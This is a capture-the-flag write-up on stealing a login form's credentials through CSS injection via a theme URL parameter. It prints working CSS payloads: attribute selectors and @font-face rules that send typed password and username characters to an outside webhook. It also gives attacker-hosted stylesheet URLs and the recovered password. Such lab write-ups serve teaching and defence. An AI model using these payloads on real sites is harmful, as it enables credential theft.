Fancy Login Form

📜 Challenge Summary

We were given a login form with a “report to admin” function.

When you click Report, the current URL is sent to /report.php, and the challenge bot (acting as admin) visits that URL in a browser to “check issues.”

The target form:

  • Has username and password inputs
  • Loads a dynamic CSS theme from the theme GET parameter, e.g.:
    https://fancy-login-form.ctf.zone/?theme=css/ocean
    
  • Allows external CSS files via that parameter (XSS-like vector in CSS)

🔍 Recon

Key observations:

  1. The password field had JavaScript syncing its .value attribute as the user typed:
    inp.setAttribute('value', inp.value)
    

    → This means CSS attribute selectors like

    input[type="password"][value$="a"]

    can detect the last typed character in real time.

  1. The username field didn’t update .value dynamically, so the same trick wouldn’t work there.
  1. CSS was loaded from an unvalidated external URL — perfect for CSS injection.

💡 Exploitation Plan

We used two different CSS-based exfiltration techniques:

1. Stealing the Password (CSS Attribute Selector Leak)

  • Hosted passsteal.css on GitHub Pages.
  • For every possible character (a–z, A–Z, 0–9, symbols), added a CSS rule:
    #password[value$="a"], input[type="password"][value$="a"] {
        background-image: url(https://webhook-test.com/…?type=p&char=a);
    }
    
  • When the admin bot typed the password, the selector for the last character matched, triggering an HTTP request to our webhook with that character.
  • Repeated for the whole password as the bot typed → got F0x13foXtrOT&Elas7icBe4n5.

2. Stealing the Username (CSS @font-face Glyph Exfiltration)

  • Hosted usersteal.css on GitHub Pages.
  • Applied a custom font to the username input:
    #username {
        font-family: exfil, sans-serif !important;
    }
    
  • Defined @font-face rules for each possible glyph:
    @font-face {
        font-family: exfil;
        src: url(https://webhook-test.com/…?type=u&char=a);
        unicode-range: U+0061;
    }
    
  • When the browser renders each typed letter, it requests the corresponding glyph file — leaking which characters are in the username.

Limitations:

This method leaks the set of characters, not the order or duplicates.

From the set {a,d,i,m,n} turned out to be just admin.


🛠 Execution

  1. Created passsteal.css and usersteal.css with respective exfil rules.
  1. Hosted both on GitHub Pages:
    https://temporaryaccountforkb.github.io/passsteal.css
    https://temporaryaccountforkb.github.io/usersteal.css
    
  1. Sent two separate report links to the admin bot:
    • One with ?theme=usersteal.css to leak the username set.
    • One with ?theme=passsteal.css to leak the password sequentially.
  1. Combined results → username: admin, password: F0x13foXtrOT&Elas7icBe4n5.
  1. Logged in and retrieved the flag.

📦 Final Answer

  • Username: admin
  • Password: F0x13foXtrOT&Elas7icBe4n5
  • Flag:(redacted here)

🧠 Takeaways

  • CSS injection can be used for data exfiltration without JS.
  • Attribute selectors + dynamic .value syncing → sequential keystroke leaks.
  • @font-face + unicode-range → character set leaks from static fields.
  • Even if JS is disabled or CSP is strict, CSS-only attacks can still break confidentiality.